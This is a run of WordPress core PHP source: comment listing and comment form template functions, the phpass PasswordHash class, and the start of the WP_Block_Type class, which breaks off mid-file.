function comment_form_title( $no_reply_text = false, $reply_text = false, $link_to_parent = true, $post = null ) {
	global $comment;

	if ( false === $no_reply_text ) {
		$no_reply_text = __( 'Leave a Reply' );
	}

	if ( false === $reply_text ) {
		/* translators: %s: Author of the comment being replied to. */
		$reply_text = __( 'Leave a Reply to %s' );
	}

	$post = get_post( $post );
	if ( ! $post ) {
		echo $no_reply_text;
		return;
	}

	$reply_to_id = _get_comment_reply_id( $post->ID );

	if ( 0 === $reply_to_id ) {
		echo $no_reply_text;
		return;
	}

	// Sets the global so that template tags can be used in the comment form.
	$comment = get_comment( $reply_to_id );

	if ( $link_to_parent ) {
		$comment_author = sprintf(
			'<a href="#comment-%1$s">%2$s</a>',
			get_comment_ID(),
			get_comment_author( $reply_to_id )
		);
	} else {
		$comment_author = get_comment_author( $reply_to_id );
	}

	printf( $reply_text, $comment_author );
}

/**
 * Gets the comment's reply to ID from the $_GET['replytocom'].
 *
 * @since 6.2.0
 *
 * @access private
 *
 * @param int|WP_Post $post The post the comment is being displayed for.
 *                          Defaults to the current global post.
 * @return int Comment's reply to ID.
 */
function _get_comment_reply_id( $post = null ) {
	$post = get_post( $post );

	if ( ! $post || ! isset( $_GET['replytocom'] ) || ! is_numeric( $_GET['replytocom'] ) ) {
		return 0;
	}

	$reply_to_id = (int) $_GET['replytocom'];

	/*
	 * Validate the comment.
	 * Bail out if it does not exist, is not approved, or its
	 * `comment_post_ID` does not match the given post ID.
	 */
	$comment = get_comment( $reply_to_id );

	if (
		! $comment instanceof WP_Comment ||
		0 === (int) $comment->comment_approved ||
		$post->ID !== (int) $comment->comment_post_ID
	) {
		return 0;
	}

	return $reply_to_id;
}

/**
 * Displays a list of comments.
 *
 * Used in the comments.php template to list comments for a particular post.
 *
 * @since 2.7.0
 *
 * @see WP_Query::$comments
 *
 * @global WP_Query $wp_query           WordPress Query object.
 * @global int      $comment_alt
 * @global int      $comment_depth
 * @global int      $comment_thread_alt
 * @global bool     $overridden_cpage
 * @global bool     $in_comment_loop
 *
 * @param string|array $args {
 *     Optional. Formatting options.
 *
 *     @type object   $walker            Instance of a Walker class to list comments. Default null.
 *     @type int      $max_depth         The maximum comments depth. Default empty.
 *     @type string   $style             The style of list ordering. Accepts 'ul', 'ol', or 'div'.
 *                                       'div' will result in no additional list markup. Default 'ul'.
 *     @type callable $callback          Callback function to use. Default null.
 *     @type callable $end-callback      Callback function to use at the end. Default null.
 *     @type string   $type              Type of comments to list. Accepts 'all', 'comment',
 *                                       'pingback', 'trackback', 'pings'. Default 'all'.
 *     @type int      $page              Page ID to list comments for. Default empty.
 *     @type int      $per_page          Number of comments to list per page. Default empty.
 *     @type int      $avatar_size       Height and width dimensions of the avatar size. Default 32.
 *     @type bool     $reverse_top_level Ordering of the listed comments. If true, will display
 *                                       newest comments first. Default null.
 *     @type bool     $reverse_children  Whether to reverse child comments in the list. Default null.
 *     @type string   $format            How to format the comments list. Accepts 'html5', 'xhtml'.
 *                                       Default 'html5' if the theme supports it.
 *     @type bool     $short_ping        Whether to output short pings. Default false.
 *     @type bool     $echo              Whether to echo the output or return it. Default true.
 * }
 * @param WP_Comment[] $comments Optional. Array of WP_Comment objects. Default null.
 * @return void|string Void if 'echo' argument is true, or no comments to list.
 *                     Otherwise, HTML list of comments.
 */
function wp_list_comments( $args = array(), $comments = null ) {
	global $wp_query, $comment_alt, $comment_depth, $comment_thread_alt, $overridden_cpage, $in_comment_loop;

	$in_comment_loop = true;

	$comment_alt        = 0;
	$comment_thread_alt = 0;
	$comment_depth      = 1;

	$defaults = array(
		'walker'            => null,
		'max_depth'         => '',
		'style'             => 'ul',
		'callback'          => null,
		'end-callback'      => null,
		'type'              => 'all',
		'page'              => '',
		'per_page'          => '',
		'avatar_size'       => 32,
		'reverse_top_level' => null,
		'reverse_children'  => '',
		'format'            => current_theme_supports( 'html5', 'comment-list' ) ? 'html5' : 'xhtml',
		'short_ping'        => false,
		'echo'              => true,
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	/**
	 * Filters the arguments used in retrieving the comment list.
	 *
	 * @since 4.0.0
	 *
	 * @see wp_list_comments()
	 *
	 * @param array $parsed_args An array of arguments for displaying comments.
	 */
	$parsed_args = apply_filters( 'wp_list_comments_args', $parsed_args );

	// Figure out what comments we'll be looping through ($_comments).
	if ( null !== $comments ) {
		$comments = (array) $comments;
		if ( empty( $comments ) ) {
			return;
		}
		if ( 'all' !== $parsed_args['type'] ) {
			$comments_by_type = separate_comments( $comments );
			if ( empty( $comments_by_type[ $parsed_args['type'] ] ) ) {
				return;
			}
			$_comments = $comments_by_type[ $parsed_args['type'] ];
		} else {
			$_comments = $comments;
		}
	} else {
		/*
		 * If 'page' or 'per_page' has been passed, and does not match what's in $wp_query,
		 * perform a separate comment query and allow Walker_Comment to paginate.
		 */
		if ( $parsed_args['page'] || $parsed_args['per_page'] ) {
			$current_cpage = get_query_var( 'cpage' );
			if ( ! $current_cpage ) {
				$current_cpage = 'newest' === get_option( 'default_comments_page' ) ? 1 : $wp_query->max_num_comment_pages;
			}

			$current_per_page = get_query_var( 'comments_per_page' );
			if ( $parsed_args['page'] != $current_cpage || $parsed_args['per_page'] != $current_per_page ) {
				$comment_args = array(
					'post_id' => get_the_ID(),
					'orderby' => 'comment_date_gmt',
					'order'   => 'ASC',
					'status'  => 'approve',
				);

				if ( is_user_logged_in() ) {
					$comment_args['include_unapproved'] = array( get_current_user_id() );
				} else {
					$unapproved_email = wp_get_unapproved_comment_author_email();

					if ( $unapproved_email ) {
						$comment_args['include_unapproved'] = array( $unapproved_email );
					}
				}

				$comments = get_comments( $comment_args );

				if ( 'all' !== $parsed_args['type'] ) {
					$comments_by_type = separate_comments( $comments );
					if ( empty( $comments_by_type[ $parsed_args['type'] ] ) ) {
						return;
					}

					$_comments = $comments_by_type[ $parsed_args['type'] ];
				} else {
					$_comments = $comments;
				}
			}

			// Otherwise, fall back on the comments from `$wp_query->comments`.
		} else {
			if ( empty( $wp_query->comments ) ) {
				return;
			}
			if ( 'all' !== $parsed_args['type'] ) {
				if ( empty( $wp_query->comments_by_type ) ) {
					$wp_query->comments_by_type = separate_comments( $wp_query->comments );
				}
				if ( empty( $wp_query->comments_by_type[ $parsed_args['type'] ] ) ) {
					return;
				}
				$_comments = $wp_query->comments_by_type[ $parsed_args['type'] ];
			} else {
				$_comments = $wp_query->comments;
			}

			if ( $wp_query->max_num_comment_pages ) {
				$default_comments_page = get_option( 'default_comments_page' );
				$cpage                 = get_query_var( 'cpage' );
				if ( 'newest' === $default_comments_page ) {
					$parsed_args['cpage'] = $cpage;

					/*
					* When first page shows oldest comments, post permalink is the same as
					* the comment permalink.
					*/
				} elseif ( 1 == $cpage ) {
					$parsed_args['cpage'] = '';
				} else {
					$parsed_args['cpage'] = $cpage;
				}

				$parsed_args['page']     = 0;
				$parsed_args['per_page'] = 0;
			}
		}
	}

	if ( '' === $parsed_args['per_page'] && get_option( 'page_comments' ) ) {
		$parsed_args['per_page'] = get_query_var( 'comments_per_page' );
	}

	if ( empty( $parsed_args['per_page'] ) ) {
		$parsed_args['per_page'] = 0;
		$parsed_args['page']     = 0;
	}

	if ( '' === $parsed_args['max_depth'] ) {
		if ( get_option( 'thread_comments' ) ) {
			$parsed_args['max_depth'] = get_option( 'thread_comments_depth' );
		} else {
			$parsed_args['max_depth'] = -1;
		}
	}

	if ( '' === $parsed_args['page'] ) {
		if ( empty( $overridden_cpage ) ) {
			$parsed_args['page'] = get_query_var( 'cpage' );
		} else {
			$threaded            = ( -1 != $parsed_args['max_depth'] );
			$parsed_args['page'] = ( 'newest' === get_option( 'default_comments_page' ) ) ? get_comment_pages_count( $_comments, $parsed_args['per_page'], $threaded ) : 1;
			set_query_var( 'cpage', $parsed_args['page'] );
		}
	}
	// Validation check.
	$parsed_args['page'] = (int) $parsed_args['page'];
	if ( 0 == $parsed_args['page'] && 0 != $parsed_args['per_page'] ) {
		$parsed_args['page'] = 1;
	}

	if ( null === $parsed_args['reverse_top_level'] ) {
		$parsed_args['reverse_top_level'] = ( 'desc' === get_option( 'comment_order' ) );
	}

	if ( empty( $parsed_args['walker'] ) ) {
		$walker = new Walker_Comment();
	} else {
		$walker = $parsed_args['walker'];
	}

	$output = $walker->paged_walk( $_comments, $parsed_args['max_depth'], $parsed_args['page'], $parsed_args['per_page'], $parsed_args );

	$in_comment_loop = false;

	if ( $parsed_args['echo'] ) {
		echo $output;
	} else {
		return $output;
	}
}

/**
 * Outputs a complete commenting form for use within a template.
 *
 * Most strings and form fields may be controlled through the `$args` array passed
 * into the function, while you may also choose to use the {@see 'comment_form_default_fields'}
 * filter to modify the array of default fields if you'd just like to add a new
 * one or remove a single field. All fields are also individually passed through
 * a filter of the {@see 'comment_form_field_$name'} where `$name` is the key used
 * in the array of fields.
 *
 * @since 3.0.0
 * @since 4.1.0 Introduced the 'class_submit' argument.
 * @since 4.2.0 Introduced the 'submit_button' and 'submit_fields' arguments.
 * @since 4.4.0 Introduced the 'class_form', 'title_reply_before', 'title_reply_after',
 *              'cancel_reply_before', and 'cancel_reply_after' arguments.
 * @since 4.5.0 The 'author', 'email', and 'url' form fields are limited to 245, 100,
 *              and 200 characters, respectively.
 * @since 4.6.0 Introduced the 'action' argument.
 * @since 4.9.6 Introduced the 'cookies' default comment field.
 * @since 5.5.0 Introduced the 'class_container' argument.
 *
 * @param array       $args {
 *     Optional. Default arguments and form fields to override.
 *
 *     @type array $fields {
 *         Default comment fields, filterable by default via the {@see 'comment_form_default_fields'} hook.
 *
 *         @type string $author  Comment author field HTML.
 *         @type string $email   Comment author email field HTML.
 *         @type string $url     Comment author URL field HTML.
 *         @type string $cookies Comment cookie opt-in field HTML.
 *     }
 *     @type string $comment_field        The comment textarea field HTML.
 *     @type string $must_log_in          HTML element for a 'must be logged in to comment' message.
 *     @type string $logged_in_as         The HTML for the 'logged in as [user]' message, the Edit profile link,
 *                                        and the Log out link.
 *     @type string $comment_notes_before HTML element for a message displayed before the comment fields
 *                                        if the user is not logged in.
 *                                        Default 'Your email address will not be published.'.
 *     @type string $comment_notes_after  HTML element for a message displayed after the textarea field.
 *     @type string $action               The comment form element action attribute. Default '/wp-comments-post.php'.
 *     @type string $id_form              The comment form element id attribute. Default 'commentform'.
 *     @type string $id_submit            The comment submit element id attribute. Default 'submit'.
 *     @type string $class_container      The comment form container class attribute. Default 'comment-respond'.
 *     @type string $class_form           The comment form element class attribute. Default 'comment-form'.
 *     @type string $class_submit         The comment submit element class attribute. Default 'submit'.
 *     @type string $name_submit          The comment submit element name attribute. Default 'submit'.
 *     @type string $title_reply          The translatable 'reply' button label. Default 'Leave a Reply'.
 *     @type string $title_reply_to       The translatable 'reply-to' button label. Default 'Leave a Reply to %s',
 *                                        where %s is the author of the comment being replied to.
 *     @type string $title_reply_before   HTML displayed before the comment form title.
 *                                        Default: '<h3 id="reply-title" class="comment-reply-title">'.
 *     @type string $title_reply_after    HTML displayed after the comment form title.
 *                                        Default: '</h3>'.
 *     @type string $cancel_reply_before  HTML displayed before the cancel reply link.
 *     @type string $cancel_reply_after   HTML displayed after the cancel reply link.
 *     @type string $cancel_reply_link    The translatable 'cancel reply' button label. Default 'Cancel reply'.
 *     @type string $label_submit         The translatable 'submit' button label. Default 'Post a comment'.
 *     @type string $submit_button        HTML format for the Submit button.
 *                                        Default: '<input name="%1$s" type="submit" id="%2$s" class="%3$s" value="%4$s" />'.
 *     @type string $submit_field         HTML format for the markup surrounding the Submit button and comment hidden
 *                                        fields. Default: '<p class="form-submit">%1$s %2$s</p>', where %1$s is the
 *                                        submit button markup and %2$s is the comment hidden fields.
 *     @type string $format               The comment form format. Default 'xhtml'. Accepts 'xhtml', 'html5'.
 * }
 * @param int|WP_Post $post Optional. Post ID or WP_Post object to generate the form for. Default current post.
 */
function comment_form( $args = array(), $post = null ) {
	$post = get_post( $post );

	// Exit the function if the post is invalid or comments are closed.
	if ( ! $post || ! comments_open( $post ) ) {
		/**
		 * Fires after the comment form if comments are closed.
		 *
		 * For backward compatibility, this action also fires if comment_form()
		 * is called with an invalid post object or ID.
		 *
		 * @since 3.0.0
		 */
		do_action( 'comment_form_comments_closed' );

		return;
	}

	$post_id       = $post->ID;
	$commenter     = wp_get_current_commenter();
	$user          = wp_get_current_user();
	$user_identity = $user->exists() ? $user->display_name : '';

	$args = wp_parse_args( $args );
	if ( ! isset( $args['format'] ) ) {
		$args['format'] = current_theme_supports( 'html5', 'comment-form' ) ? 'html5' : 'xhtml';
	}

	$req   = get_option( 'require_name_email' );
	$html5 = 'html5' === $args['format'];

	// Define attributes in HTML5 or XHTML syntax.
	$required_attribute = ( $html5 ? ' required' : ' required="required"' );
	$checked_attribute  = ( $html5 ? ' checked' : ' checked="checked"' );

	// Identify required fields visually and create a message about the indicator.
	$required_indicator = ' ' . wp_required_field_indicator();
	$required_text      = ' ' . wp_required_field_message();

	$fields = array(
		'author' => sprintf(
			'<p class="comment-form-author">%s %s</p>',
			sprintf(
				'<label for="author">%s%s</label>',
				__( 'Name' ),
				( $req ? $required_indicator : '' )
			),
			sprintf(
				'<input id="author" name="author" type="text" value="%s" size="30" maxlength="245" autocomplete="name"%s />',
				esc_attr( $commenter['comment_author'] ),
				( $req ? $required_attribute : '' )
			)
		),
		'email'  => sprintf(
			'<p class="comment-form-email">%s %s</p>',
			sprintf(
				'<label for="email">%s%s</label>',
				__( 'Email' ),
				( $req ? $required_indicator : '' )
			),
			sprintf(
				'<input id="email" name="email" %s value="%s" size="30" maxlength="100" aria-describedby="email-notes" autocomplete="email"%s />',
				( $html5 ? 'type="email"' : 'type="text"' ),
				esc_attr( $commenter['comment_author_email'] ),
				( $req ? $required_attribute : '' )
			)
		),
		'url'    => sprintf(
			'<p class="comment-form-url">%s %s</p>',
			sprintf(
				'<label for="url">%s</label>',
				__( 'Website' )
			),
			sprintf(
				'<input id="url" name="url" %s value="%s" size="30" maxlength="200" autocomplete="url" />',
				( $html5 ? 'type="url"' : 'type="text"' ),
				esc_attr( $commenter['comment_author_url'] )
			)
		),
	);

	if ( has_action( 'set_comment_cookies', 'wp_set_comment_cookies' ) && get_option( 'show_comments_cookies_opt_in' ) ) {
		$consent = empty( $commenter['comment_author_email'] ) ? '' : $checked_attribute;

		$fields['cookies'] = sprintf(
			'<p class="comment-form-cookies-consent">%s %s</p>',
			sprintf(
				'<input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes"%s />',
				$consent
			),
			sprintf(
				'<label for="wp-comment-cookies-consent">%s</label>',
				__( 'Save my name, email, and website in this browser for the next time I comment.' )
			)
		);

		// Ensure that the passed fields include cookies consent.
		if ( isset( $args['fields'] ) && ! isset( $args['fields']['cookies'] ) ) {
			$args['fields']['cookies'] = $fields['cookies'];
		}
	}

	/**
	 * Filters the default comment form fields.
	 *
	 * @since 3.0.0
	 *
	 * @param string[] $fields Array of the default comment fields.
	 */
	$fields = apply_filters( 'comment_form_default_fields', $fields );

	$defaults = array(
		'fields'               => $fields,
		'comment_field'        => sprintf(
			'<p class="comment-form-comment">%s %s</p>',
			sprintf(
				'<label for="comment">%s%s</label>',
				_x( 'Comment', 'noun' ),
				$required_indicator
			),
			'<textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525"' . $required_attribute . '></textarea>'
		),
		'must_log_in'          => sprintf(
			'<p class="must-log-in">%s</p>',
			sprintf(
				/* translators: %s: Login URL. */
				__( 'You must be <a href="%s">logged in</a> to post a comment.' ),
				/** This filter is documented in wp-includes/link-template.php */
				wp_login_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) )
			)
		),
		'logged_in_as'         => sprintf(
			'<p class="logged-in-as">%s%s</p>',
			sprintf(
				/* translators: 1: User name, 2: Edit user link, 3: Logout URL. */
				__( 'Logged in as %1$s. <a href="%2$s">Edit your profile</a>. <a href="%3$s">Log out?</a>' ),
				$user_identity,
				get_edit_user_link(),
				/** This filter is documented in wp-includes/link-template.php */
				wp_logout_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) )
			),
			$required_text
		),
		'comment_notes_before' => sprintf(
			'<p class="comment-notes">%s%s</p>',
			sprintf(
				'<span id="email-notes">%s</span>',
				__( 'Your email address will not be published.' )
			),
			$required_text
		),
		'comment_notes_after'  => '',
		'action'               => site_url( '/wp-comments-post.php' ),
		'id_form'              => 'commentform',
		'id_submit'            => 'submit',
		'class_container'      => 'comment-respond',
		'class_form'           => 'comment-form',
		'class_submit'         => 'submit',
		'name_submit'          => 'submit',
		'title_reply'          => __( 'Leave a Reply' ),
		/* translators: %s: Author of the comment being replied to. */
		'title_reply_to'       => __( 'Leave a Reply to %s' ),
		'title_reply_before'   => '<h3 id="reply-title" class="comment-reply-title">',
		'title_reply_after'    => '</h3>',
		'cancel_reply_before'  => ' <small>',
		'cancel_reply_after'   => '</small>',
		'cancel_reply_link'    => __( 'Cancel reply' ),
		'label_submit'         => __( 'Post Comment' ),
		'submit_button'        => '<input name="%1$s" type="submit" id="%2$s" class="%3$s" value="%4$s" />',
		'submit_field'         => '<p class="form-submit">%1$s %2$s</p>',
		'format'               => 'xhtml',
	);

	/**
	 * Filters the comment form default arguments.
	 *
	 * Use {@see 'comment_form_default_fields'} to filter the comment fields.
	 *
	 * @since 3.0.0
	 *
	 * @param array $defaults The default comment form arguments.
	 */
	$args = wp_parse_args( $args, apply_filters( 'comment_form_defaults', $defaults ) );

	// Ensure that the filtered arguments contain all required default values.
	$args = array_merge( $defaults, $args );

	// Remove `aria-describedby` from the email field if there's no associated description.
	if ( isset( $args['fields']['email'] ) && ! str_contains( $args['comment_notes_before'], 'id="email-notes"' ) ) {
		$args['fields']['email'] = str_replace(
			' aria-describedby="email-notes"',
			'',
			$args['fields']['email']
		);
	}

	/**
	 * Fires before the comment form.
	 *
	 * @since 3.0.0
	 */
	do_action( 'comment_form_before' );
	?>
	<div id="respond" class="<?php echo esc_attr( $args['class_container'] ); ?>">
		<?php
		echo $args['title_reply_before'];

		comment_form_title( $args['title_reply'], $args['title_reply_to'], true, $post_id );

		if ( get_option( 'thread_comments' ) ) {
			echo $args['cancel_reply_before'];

			cancel_comment_reply_link( $args['cancel_reply_link'] );

			echo $args['cancel_reply_after'];
		}

		echo $args['title_reply_after'];

		if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) :

			echo $args['must_log_in'];
			/**
			 * Fires after the HTML-formatted 'must log in after' message in the comment form.
			 *
			 * @since 3.0.0
			 */
			do_action( 'comment_form_must_log_in_after' );

		else :

			printf(
				'<form action="%s" method="post" id="%s" class="%s"%s>',
				esc_url( $args['action'] ),
				esc_attr( $args['id_form'] ),
				esc_attr( $args['class_form'] ),
				( $html5 ? ' novalidate' : '' )
			);

			/**
			 * Fires at the top of the comment form, inside the form tag.
			 *
			 * @since 3.0.0
			 */
			do_action( 'comment_form_top' );

			if ( is_user_logged_in() ) :

				/**
				 * Filters the 'logged in' message for the comment form for display.
				 *
				 * @since 3.0.0
				 *
				 * @param string $args_logged_in The HTML for the 'logged in as [user]' message,
				 *                               the Edit profile link, and the Log out link.
				 * @param array  $commenter      An array containing the comment author's
				 *                               username, email, and URL.
				 * @param string $user_identity  If the commenter is a registered user,
				 *                               the display name, blank otherwise.
				 */
				echo apply_filters( 'comment_form_logged_in', $args['logged_in_as'], $commenter, $user_identity );

				/**
				 * Fires after the is_user_logged_in() check in the comment form.
				 *
				 * @since 3.0.0
				 *
				 * @param array  $commenter     An array containing the comment author's
				 *                              username, email, and URL.
				 * @param string $user_identity If the commenter is a registered user,
				 *                              the display name, blank otherwise.
				 */
				do_action( 'comment_form_logged_in_after', $commenter, $user_identity );

			else :

				echo $args['comment_notes_before'];

			endif;

			// Prepare an array of all fields, including the textarea.
			$comment_fields = array( 'comment' => $args['comment_field'] ) + (array) $args['fields'];

			/**
			 * Filters the comment form fields, including the textarea.
			 *
			 * @since 4.4.0
			 *
			 * @param array $comment_fields The comment fields.
			 */
			$comment_fields = apply_filters( 'comment_form_fields', $comment_fields );

			// Get an array of field names, excluding the textarea.
			$comment_field_keys = array_diff( array_keys( $comment_fields ), array( 'comment' ) );

			// Get the first and the last field name, excluding the textarea.
			$first_field = reset( $comment_field_keys );
			$last_field  = end( $comment_field_keys );

			foreach ( $comment_fields as $name => $field ) {

				if ( 'comment' === $name ) {

					/**
					 * Filters the content of the comment textarea field for display.
					 *
					 * @since 3.0.0
					 *
					 * @param string $args_comment_field The content of the comment textarea field.
					 */
					echo apply_filters( 'comment_form_field_comment', $field );

					echo $args['comment_notes_after'];

				} elseif ( ! is_user_logged_in() ) {

					if ( $first_field === $name ) {
						/**
						 * Fires before the comment fields in the comment form, excluding the textarea.
						 *
						 * @since 3.0.0
						 */
						do_action( 'comment_form_before_fields' );
					}

					/**
					 * Filters a comment form field for display.
					 *
					 * The dynamic portion of the hook name, `$name`, refers to the name
					 * of the comment form field.
					 *
					 * Possible hook names include:
					 *
					 *  - `comment_form_field_comment`
					 *  - `comment_form_field_author`
					 *  - `comment_form_field_email`
					 *  - `comment_form_field_url`
					 *  - `comment_form_field_cookies`
					 *
					 * @since 3.0.0
					 *
					 * @param string $field The HTML-formatted output of the comment form field.
					 */
					echo apply_filters( "comment_form_field_{$name}", $field ) . "\n";

					if ( $last_field === $name ) {
						/**
						 * Fires after the comment fields in the comment form, excluding the textarea.
						 *
						 * @since 3.0.0
						 */
						do_action( 'comment_form_after_fields' );
					}
				}
			}

			$submit_button = sprintf(
				$args['submit_button'],
				esc_attr( $args['name_submit'] ),
				esc_attr( $args['id_submit'] ),
				esc_attr( $args['class_submit'] ),
				esc_attr( $args['label_submit'] )
			);

			/**
			 * Filters the submit button for the comment form to display.
			 *
			 * @since 4.2.0
			 *
			 * @param string $submit_button HTML markup for the submit button.
			 * @param array  $args          Arguments passed to comment_form().
			 */
			$submit_button = apply_filters( 'comment_form_submit_button', $submit_button, $args );

			$submit_field = sprintf(
				$args['submit_field'],
				$submit_button,
				get_comment_id_fields( $post_id )
			);

			/**
			 * Filters the submit field for the comment form to display.
			 *
			 * The submit field includes the submit button, hidden fields for the
			 * comment form, and any wrapper markup.
			 *
			 * @since 4.2.0
			 *
			 * @param string $submit_field HTML markup for the submit field.
			 * @param array  $args         Arguments passed to comment_form().
			 */
			echo apply_filters( 'comment_form_submit_field', $submit_field, $args );

			/**
			 * Fires at the bottom of the comment form, inside the closing form tag.
			 *
			 * @since 1.5.0
			 *
			 * @param int $post_id The post ID.
			 */
			do_action( 'comment_form', $post_id );

			echo '</form>';

		endif;
		?>
	</div><!-- #respond -->
	<?php

	/**
	 * Fires after the comment form.
	 *
	 * @since 3.0.0
	 */
	do_action( 'comment_form_after' );
}
<?php
/**
 * Portable PHP password hashing framework.
 * @package phpass
 * @since 2.5.0
 * @version 0.5 / WordPress
 * @link https://www.openwall.com/phpass/
 */

#
# Portable PHP password hashing framework.
#
# Version 0.5 / WordPress.
#
# Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in
# the public domain.  Revised in subsequent years, still public domain.
#
# There's absolutely no warranty.
#
# The homepage URL for this framework is:
#
#	http://www.openwall.com/phpass/
#
# Please be sure to update the Version line if you edit this file in any way.
# It is suggested that you leave the main version number intact, but indicate
# your project name (after the slash) and add your own revision information.
#
# Please do not change the "private" password hashing method implemented in
# here, thereby making your hashes incompatible.  However, if you must, please
# change the hash type identifier (the "$P$") to something different.
#
# Obviously, since this code is in the public domain, the above are not
# requirements (there can be none), but merely suggestions.
#

/**
 * Portable PHP password hashing framework.
 *
 * @package phpass
 * @version 0.5 / WordPress
 * @link https://www.openwall.com/phpass/
 * @since 2.5.0
 */
class PasswordHash {
	var $itoa64;
	var $iteration_count_log2;
	var $portable_hashes;
	var $random_state;

	function __construct($iteration_count_log2, $portable_hashes)
	{
		$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

		if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
			$iteration_count_log2 = 8;
		$this->iteration_count_log2 = $iteration_count_log2;

		$this->portable_hashes = $portable_hashes;

		$this->random_state = microtime();
		if (function_exists('getmypid'))
			$this->random_state .= getmypid();
	}

	function PasswordHash($iteration_count_log2, $portable_hashes)
	{
		self::__construct($iteration_count_log2, $portable_hashes);
	}

	function get_random_bytes($count)
	{
		$output = '';
		if (@is_readable('/dev/urandom') &&
		    ($fh = @fopen('/dev/urandom', 'rb'))) {
			$output = fread($fh, $count);
			fclose($fh);
		}

		if (strlen($output) < $count) {
			$output = '';
			for ($i = 0; $i < $count; $i += 16) {
				$this->random_state =
				    md5(microtime() . $this->random_state);
				$output .= md5($this->random_state, TRUE);
			}
			$output = substr($output, 0, $count);
		}

		return $output;
	}

	function encode64($input, $count)
	{
		$output = '';
		$i = 0;
		do {
			$value = ord($input[$i++]);
			$output .= $this->itoa64[$value & 0x3f];
			if ($i < $count)
				$value |= ord($input[$i]) << 8;
			$output .= $this->itoa64[($value >> 6) & 0x3f];
			if ($i++ >= $count)
				break;
			if ($i < $count)
				$value |= ord($input[$i]) << 16;
			$output .= $this->itoa64[($value >> 12) & 0x3f];
			if ($i++ >= $count)
				break;
			$output .= $this->itoa64[($value >> 18) & 0x3f];
		} while ($i < $count);

		return $output;
	}

	function gensalt_private($input)
	{
		$output = '$P$';
		$output .= $this->itoa64[min($this->iteration_count_log2 +
			((PHP_VERSION >= '5') ? 5 : 3), 30)];
		$output .= $this->encode64($input, 6);

		return $output;
	}

	function crypt_private($password, $setting)
	{
		$output = '*0';
		if (substr($setting, 0, 2) === $output)
			$output = '*1';

		$id = substr($setting, 0, 3);
		# We use "$P$", phpBB3 uses "$H$" for the same thing
		if ($id !== '$P$' && $id !== '$H$')
			return $output;

		$count_log2 = strpos($this->itoa64, $setting[3]);
		if ($count_log2 < 7 || $count_log2 > 30)
			return $output;

		$count = 1 << $count_log2;

		$salt = substr($setting, 4, 8);
		if (strlen($salt) !== 8)
			return $output;

		# We were kind of forced to use MD5 here since it's the only
		# cryptographic primitive that was available in all versions
		# of PHP in use.  To implement our own low-level crypto in PHP
		# would have resulted in much worse performance and
		# consequently in lower iteration counts and hashes that are
		# quicker to crack (by non-PHP code).
		$hash = md5($salt . $password, TRUE);
		do {
			$hash = md5($hash . $password, TRUE);
		} while (--$count);

		$output = substr($setting, 0, 12);
		$output .= $this->encode64($hash, 16);

		return $output;
	}

	function gensalt_blowfish($input)
	{
		# This one needs to use a different order of characters and a
		# different encoding scheme from the one in encode64() above.
		# We care because the last character in our encoded string will
		# only represent 2 bits.  While two known implementations of
		# bcrypt will happily accept and correct a salt string which
		# has the 4 unused bits set to non-zero, we do not want to take
		# chances and we also do not want to waste an additional byte
		# of entropy.
		$itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

		$output = '$2a$';
		$output .= chr((int)(ord('0') + $this->iteration_count_log2 / 10));
		$output .= chr((ord('0') + $this->iteration_count_log2 % 10));
		$output .= '$';

		$i = 0;
		do {
			$c1 = ord($input[$i++]);
			$output .= $itoa64[$c1 >> 2];
			$c1 = ($c1 & 0x03) << 4;
			if ($i >= 16) {
				$output .= $itoa64[$c1];
				break;
			}

			$c2 = ord($input[$i++]);
			$c1 |= $c2 >> 4;
			$output .= $itoa64[$c1];
			$c1 = ($c2 & 0x0f) << 2;

			$c2 = ord($input[$i++]);
			$c1 |= $c2 >> 6;
			$output .= $itoa64[$c1];
			$output .= $itoa64[$c2 & 0x3f];
		} while (1);

		return $output;
	}

	function HashPassword($password)
	{
		if ( strlen( $password ) > 4096 ) {
			return '*';
		}

		$random = '';

		if (CRYPT_BLOWFISH === 1 && !$this->portable_hashes) {
			$random = $this->get_random_bytes(16);
			$hash =
			    crypt($password, $this->gensalt_blowfish($random));
			if (strlen($hash) === 60)
				return $hash;
		}

		if (strlen($random) < 6)
			$random = $this->get_random_bytes(6);
		$hash =
		    $this->crypt_private($password,
		    $this->gensalt_private($random));
		if (strlen($hash) === 34)
			return $hash;

		# Returning '*' on error is safe here, but would _not_ be safe
		# in a crypt(3)-like function used _both_ for generating new
		# hashes and for validating passwords against existing hashes.
		return '*';
	}

	function CheckPassword($password, $stored_hash)
	{
		if ( strlen( $password ) > 4096 ) {
			return false;
		}

		$hash = $this->crypt_private($password, $stored_hash);
		if ($hash[0] === '*')
			$hash = crypt($password, $stored_hash);

		# This is not constant-time.  In order to keep the code simple,
		# for timing safety we currently rely on the salts being
		# unpredictable, which they are at least in the non-fallback
		# cases (that is, when we use /dev/urandom and bcrypt).
		return $hash === $stored_hash;
	}
}
<?php
/**
 * Blocks API: WP_Block_Type class
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.0.0
 */

/**
 * Core class representing a block type.
 *
 * @since 5.0.0
 *
 * @see register_block_type()
 */
#[AllowDynamicProperties]
class WP_Block_Type {

	/**
	 * Block API version.
	 *
	 * @since 5.6.0
	 * @var int
	 */
	public $api_version = 1;

	/**
	 * Block type key.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	public $name;

	/**
	 * Human-readable block type label.
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $title = '';

	/**
	 * Block type category classification, used in search interfaces
	 * to arrange block types by category.
	 *
	 * @since 5.5.0
	 * @var string|null
	 */
	public $category = null;

	/**
	 * Setting parent lets a block require that it is only available
	 * when nested within the specified blocks.
	 *
	 * @since 5.5.0
	 * @var string[]|null
	 */
	public $parent = null;

	/**
	 * Setting ancestor makes a block available only inside the specified
	 * block types at any position of the ancestor's block subtree.
	 *
	 * @since 6.0.0
	 * @var string[]|null
	 */
	public $ancestor = null;

	/**
	 * Limits which block types can be inserted as children of this block type.
	 *
	 * @since 6.5.0
